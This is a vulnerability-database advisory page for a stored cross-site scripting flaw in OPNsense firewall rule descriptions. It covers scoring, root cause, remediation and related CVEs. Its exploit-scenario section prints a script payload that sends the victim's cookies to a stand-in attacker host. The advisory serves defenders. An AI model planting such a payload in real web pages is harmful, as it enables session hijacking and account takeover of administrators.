Skip to main content

OPNsense EUVDEUVD-2026-52430

| CVE-2026-49131 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-03 VulnCheck GHSA-2wfc-8j3p-p6cp
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain OPNsense account with rule management privileges
  2. Delivery
    Submit crafted firewall rule with JavaScript payload in description via filter API
  3. Exploit
    Payload persists unsanitized in OPNsense configuration
  4. Install
    Victim administrator views Firewall Rules page
  5. C2
    opnsense_bootgrid.js assigns raw description to innerHTML
  6. Execute
    Injected script executes in victim's browser
  7. Impact
    Exfiltrate session token to attacker-controlled endpoint

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold an authenticated OPNsense account with firewall rule creation or modification privileges (CVSS PR:L). The vulnerability is triggered through the filter API endpoint, a standard administrative interface accessible to users with that permission level. For the payload to execute, a separate authenticated OPNsense user must visit the Firewall Rules page - passive interaction (CVSS 4.0 UI:P) that occurs naturally during normal administration of the firewall. Limiting factors: fully unauthenticated exploitation is not possible; the attacker must possess a valid credential with specific rule management rights; victim interaction requires the Firewall Rules page to be loaded (not a background trigger); and the impact is bounded to session/credential theft of the viewing user rather than arbitrary OS-level command execution or data exfiltration from the host itself.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P, score 5.1 Medium) accurately reflects the exploitation constraints: network reachable, low complexity, but requiring a low-privilege authenticated account to inject and passive victim interaction for detonation. The subsequent-system impact (SC:L/SI:L) correctly captures the cross-user attack model - the direct vulnerable system is not impacted, but victim sessions are. Real-world priority is moderate rather than high: the attacker must already hold a legitimate OPNsense account with rule management rights, limiting the realistic threat to insider threat, compromised credential scenarios, or multi-tenant environments where sub-admins have firewall access. No EPSS score was provided in the input data, and the vulnerability is absent from CISA KEV, providing no signal of opportunistic or mass exploitation. The attack surface is constrained to users of the Firewall Rules page; it is not a unauthenticated RCE, and impact ceiling is session-level compromise of other administrators rather than direct OS-level control.

Exploit ScenarioDerived

An attacker with a low-privilege OPNsense account that has firewall rule management rights submits a firewall rule via the filter API with a JavaScript payload such as <script>document.location='https://attacker.tld/steal?c='+document.cookie</script> embedded in the description field. The payload is stored and rendered without escaping on the Firewall Rules page. When a higher-privileged administrator later navigates to that page during routine operations, the script silently executes in their browser, forwarding session cookies to the attacker and enabling account takeover. No public exploit code has been identified at time of analysis, but the technique requires no specialized tooling beyond a standard HTTP client.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 03, 2026

Stored cross-site scripting in OPNsense before 26.1.9 allows low-privileged authenticated attackers holding firewall rule management rights to inject arbitrary JavaScript into rule description fields via the filter API, which then executes in any authenticated administrator's browser when the Firewall Rules page is loaded. Impact is limited to subsequent-system effects - session hijacking or credential theft targeting other authenticated users - rather than direct host compromise. No confirmed active exploitation (not in CISA KEV) and no public exploit code identified at time of analysis; a vendor-released patch is available in OPNsense 26.1.9 as of June 2, 2026.

RemediationAI

Upgrade OPNsense to version 26.1.9 or later, which applies the html_safe() output-encoding fix documented in commit b11d6b340716e240868ab19a369e058a46f0876f and included in the CE 26.1.9 release at https://docs.opnsense.org/releases/CE_26.1.html#june-02-2026. For environments where immediate upgrade is not feasible, reduce the attack surface by auditing and tightening firewall rule management privilege assignments - removing rule creation/edit rights from any account that does not strictly require them eliminates the injection vector. Additionally, audit all existing firewall rule descriptions for unexpected HTML tags or script content as a precautionary incident check. There is no single configuration toggle to disable the vulnerable rendering path without removing the Firewall Rules UI entirely, so privilege restriction is the most actionable compensating control.

Affected VersionsENISA

OPNsense 0 <26.1.9

Affected Packages

euvd opnsense fix: 26.1.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OPNsense is an open-source FreeBSD-based firewall and routing platform developed by Deciso B.V. (CPE: cpe:2.3:a:deciso_b.v.:opnsense). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. Rule descriptions submitted via the filter API endpoint were persisted without sanitization and later echoed directly into the HTML of firewall_rules.php using PHP's short echo tag (<?=$rule->getDescr();?>). The JavaScript library opnsense_bootgrid.js then assigns this raw cell content to innerHTML, causing any embedded HTML or JavaScript to be parsed and executed by the browser. The commit fix (b11d6b340716e240868ab19a369e058a46f0876f) wraps the output with html_safe(), applying proper HTML entity encoding before rendering, preventing the browser from interpreting description text as executable code.

Know when Opnsense gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Low-privilege network attacker injects payload (PR:L, AV:N); victim must view the page (UI:R); scope changes to victim session (S:C) with low C and I; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

OPNsense before 26.1.9 contains a stored cross-site scripting vulnerability that allows authenticated attackers with firewall rule management privileges to inject arbitrary HTML or JavaScript by embedding payloads in the firewall rule description field via the filter API endpoint. The unsanitized description value is persisted and later rendered through the default cell formatter in opnsense_bootgrid.js, which assigns raw cell content to innerHTML, causing injected scripts to execute in the browser of any authenticated user who views the Firewall Rules page, enabling session hijacking or credential theft.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Medium
widely used open-source firewall in SMB, MSP, and homelab deployments
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-39004 CRITICAL POC
9.8 Aug 09

Insecure permissions in the configuration directory (/conf/) of OPNsense Community Edition before 23.7 and Business Edit

CVE-2023-27152 CRITICAL POC
9.8 Oct 23

DECISO OPNsense 23.1 does not impose rate limits for authentication, allowing attackers to perform a brute-force attack

CVE-2023-39008 CRITICAL POC
9.8 Aug 09

A command injection vulnerability in the component /api/cron/settings/setJob/ of OPNsense Community Edition before 23.7

CVE-2023-39001 CRITICAL POC
9.8 Aug 09

A command injection vulnerability in the component diag_backup.php of OPNsense Community Edition before 23.7 and Busines

CVE-2023-39007 CRITICAL POC
9.6 Aug 09

/ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 al

CVE-2023-39003 HIGH POC
7.5 Aug 09

OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 was discovered to contain insecure permissions

CVE-2023-39005 HIGH POC
7.5 Aug 09

Insecure permissions exist for configd.socket in OPNsense Community Edition before 23.7 and Business Edition before 23.4

CVE-2023-38997 HIGH POC
7.2 Aug 09

A directory traversal vulnerability in the Captive Portal templates of OPNsense Community Edition before 23.7 and Busine

CVE-2023-38999 MEDIUM POC
6.5 Aug 09

A Cross-Site Request Forgery (CSRF) in the System Halt API (/system/halt) of OPNsense Community Edition before 23.7 and

CVE-2019-25373 MEDIUM POC
6.4 Feb 15

OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicio

CVE-2019-25369 MEDIUM POC
6.4 Feb 15

OPNsense 19.1 contains a stored cross-site scripting vulnerability in the system_advanced_sysctl.php endpoint that allow

CVE-2019-25372 MEDIUM POC
6.1 Feb 15

OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject ma

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy